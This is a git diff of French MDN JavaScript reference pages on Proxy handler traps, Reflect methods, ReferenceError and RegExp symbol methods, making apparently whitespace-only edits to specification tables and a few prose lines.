a/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.md index 969b386662..2fb2c7e1b8 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.md @@ -105,7 +105,7 @@ Object.defineProperty(p, "name, { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.md index 8cc45e09bb..8263812279 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.md @@ -75,7 +75,7 @@ delete p.a; // "appelée sur : a" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.md index db316e304d..b606c27374 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.md @@ -100,7 +100,7 @@ p.a; // exception TypeError levée | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}} | {{Spec2('ESDraft')}} | | ## Compatiblité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.md index 7f4b9c63f4..20f3c91610 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.md @@ -95,7 +95,7 @@ Object.getOwnPropertyDescriptor(p, "a"); // Une exception TypeError est renvoyé | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.md index 2f339ae97e..13a790db39 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getPrototyp --- {{JSRef}} -La méthode **`handler.getPrototypeOf()`** représente une trappe pour la méthode interne `[[GetPrototypeOf]]`. +La méthode **`handler.getPrototypeOf()`** représente une trappe pour la méthode interne `[[GetPrototypeOf]]`. {{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}} @@ -21,7 +21,7 @@ La méthode **`handler.getPrototypeOf()`** représente une trappe pour la métho ```js var p = new Proxy(obj, { getPrototypeOf(cible) { - ... + ... } }); ``` @@ -65,8 +65,8 @@ var obj = {}; var proto = {}; var gestionnaire = { getPrototypeOf(cible) { - console.log(cible === obj); // true - console.log(this === gestionnaire); // true + console.log(cible === obj); // true + console.log(this === gestionnaire); // true return proto; } }; @@ -118,7 +118,7 @@ Object.getPrototypeOf(p); // TypeError : on attend la même valeur pour le proto | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.md index 7a9efe5f69..aabac1afa7 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.md @@ -93,7 +93,7 @@ var p = new Proxy(obj, { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.md index 23fca9ad60..d39dc8a17f 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler --- {{JSRef}} -L'objet gestionnaire d'un proxy est un objet qui contient les trappes de captures (_traps_) pour le {{jsxref("Proxy", "proxy", "", 1)}}. +L'objet gestionnaire d'un proxy est un objet qui contient les trappes de captures (_traps_) pour le {{jsxref("Proxy", "proxy", "", 1)}}. ## Méthodes diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.md index 9d335fd28b..0bf4e1fbfa 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.md @@ -49,7 +49,7 @@ Cette trappe intercepte les opérations suivantes : ### Invariants -Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} : +Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} : - `Object.isExtensible(proxy)` doit renvoyer la même valeur que `Object.isExtensible(cible)`. @@ -86,7 +86,7 @@ Object.isExtensible(p); // TypeError est levée | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.md index a2e36cefde..b50147641b 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.md @@ -99,7 +99,7 @@ console.log(Object.getOwnPropertyNames(p)); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.md index 5583e5c760..3930f8d46e 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.md @@ -87,7 +87,7 @@ Object.preventExtensions(p); // TypeError est levée | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.md index 544cc21fa2..55cf870259 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/set/index.md @@ -87,7 +87,7 @@ console.log(p.a); // 10 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.md index 104f392d73..ba01ecc757 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.md @@ -59,7 +59,7 @@ Si les invariants suivants ne sont pas respectés, le proxy renverra une excepti Si on souhaite interdire la définition d'un nouveau prototype pour un objet, on peut utiliser une méthode `setPrototypeOf` qui renvoie `false` ou qui génère une exception. -Avec cette première approche, toute opération qui voudra modifier le prototype génèrera une exception. On aura par exemple {{jsxref("Object.setPrototypeOf()")}} qui créera et lèvera l'exception `TypeError`. Si la modification est effectuée par une opération qui ne génère pas d'exception en cas d'échec (comme {{jsxref("Reflect.setPrototypeOf()")}}), aucune exception ne sera générée. +Avec cette première approche, toute opération qui voudra modifier le prototype génèrera une exception. On aura par exemple {{jsxref("Object.setPrototypeOf()")}} qui créera et lèvera l'exception `TypeError`. Si la modification est effectuée par une opération qui ne génère pas d'exception en cas d'échec (comme {{jsxref("Reflect.setPrototypeOf()")}}), aucune exception ne sera générée. ```js var handlerReturnsFalse = { @@ -100,7 +100,7 @@ Reflect.setPrototypeOf(p2, newProto); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.md b/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.md index 376cf22348..30dd3bf51c 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/revocable/index.md @@ -61,7 +61,7 @@ typeof proxy // "object", typeof ne déclenche aucune trappe | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/referenceerror/index.md b/files/fr/web/javascript/reference/global_objects/referenceerror/index.md index 6aeba987ce..0ec502ed35 100644 --- a/files/fr/web/javascript/reference/global_objects/referenceerror/index.md +++ b/files/fr/web/javascript/reference/global_objects/referenceerror/index.md @@ -89,9 +89,9 @@ try { | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/apply/index.md b/files/fr/web/javascript/reference/global_objects/reflect/apply/index.md index 91ae28899f..47860ed34f 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/apply/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/apply/index.md @@ -68,7 +68,7 @@ Reflect.apply("".charAt, "poneys", [3]); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.apply', 'Reflect.apply')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.md b/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.md index 695f08ec57..43f64d8a83 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.md @@ -68,7 +68,7 @@ if (Reflect.defineProperty(cible, propriété, attributs)) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.md b/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.md index 127234427e..1159378a5f 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.md @@ -62,7 +62,7 @@ Reflect.deleteProperty(Object.freeze({toto: 1}),"toto"); // false | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/get/index.md b/files/fr/web/javascript/reference/global_objects/reflect/get/index.md index 12e8fd4936..b6f657f92c 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/get/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/get/index.md @@ -64,7 +64,7 @@ Reflect.get(obj, "toto"); // "tototruc" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.md b/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.md index 2575a14d5c..c87f13e5b1 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.md @@ -71,7 +71,7 @@ Object.getOwnPropertyDescriptor("toto", 0); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.md index ff07298675..2bc09f4464 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.md @@ -73,7 +73,7 @@ Reflect.getPrototypeOf(Object('toto')); // String.prototype | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/has/index.md b/files/fr/web/javascript/reference/global_objects/reflect/has/index.md index 8ac0252a59..b40bbe3e47 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/has/index.md @@ -62,7 +62,7 @@ Reflect.has(obj, "bonbon"); // false | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/index.md b/files/fr/web/javascript/reference/global_objects/reflect/index.md index a00114cb15..89ee1d00ad 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/index.md @@ -24,7 +24,7 @@ L'objet `Reflect` fournit des fonctions statiques qui ont les mêmes noms que le - {{jsxref("Reflect.apply()")}} - : Appelle une fonction cible avec les arguments définis par le paramètres `args`. Voir aussi {{jsxref("Function.prototype.apply()")}}. - {{jsxref("Reflect.construct()")}} - - : L'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} comme fonction. C'est équivalent à `new cible(...args)`. Cette méthode permet également d'indiquer un prototype différent. + - : L'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} comme fonction. C'est équivalent à `new cible(...args)`. Cette méthode permet également d'indiquer un prototype différent. - {{jsxref("Reflect.defineProperty()")}} - : Semblable à {{jsxref("Object.defineProperty()")}}. Renvoie un {{jsxref("Boolean")}}. - {{jsxref("Reflect.deleteProperty()")}} diff --git a/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.md b/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.md index a779cf765a..dabb51d9fe 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.md @@ -80,7 +80,7 @@ Object.isExtensible(1); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.md b/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.md index 2a1f0a4323..df51dda07e 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Reflect/ownKeys --- {{JSRef}} -La méthode statique **`Reflect.ownKeys()`** renvoie un tableau qui contient les clés des propriétés propres (non héritées) de l'objet `cible`. +La méthode statique **`Reflect.ownKeys()`** renvoie un tableau qui contient les clés des propriétés propres (non héritées) de l'objet `cible`. {{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}} @@ -57,7 +57,7 @@ La méthode `Reflect.ownKeys` renvoie un tableau dont les éléments sont les cl | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/reflect/set/index.md b/files/fr/web/javascript/reference/global_objects/reflect/set/index.md index 5d3d0ff05d..977b456156 100644 --- a/files/fr/web/javascript/reference/global_objects/reflect/set/index.md +++ b/files/fr/web/javascript/reference/global_objects/reflect/set/index.md @@ -75,7 +75,7 @@ Reflect.getOwnPropertyDescriptor(obj, "undefined"); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.md index 0126ab2d2f..b5fd6fcfa6 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.md @@ -85,7 +85,7 @@ console.log(résultat.group(3)); // 02 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.md index b0e6a51185..01e1d4545c 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.md @@ -83,7 +83,7 @@ console.log(resultat[1]); // [ "2019-03-07", "2019", "03", "07" ] | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('ESDraft', '#sec-regexp-prototype-matchall', 'RegExp.prototype[@@matchAll]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-regexp-prototype-matchall', 'RegExp.prototype[@@matchAll]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.md index f1ea9e66db..b5ac864e0d 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.md @@ -91,7 +91,7 @@ console.log(newstr); // ###34567 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs 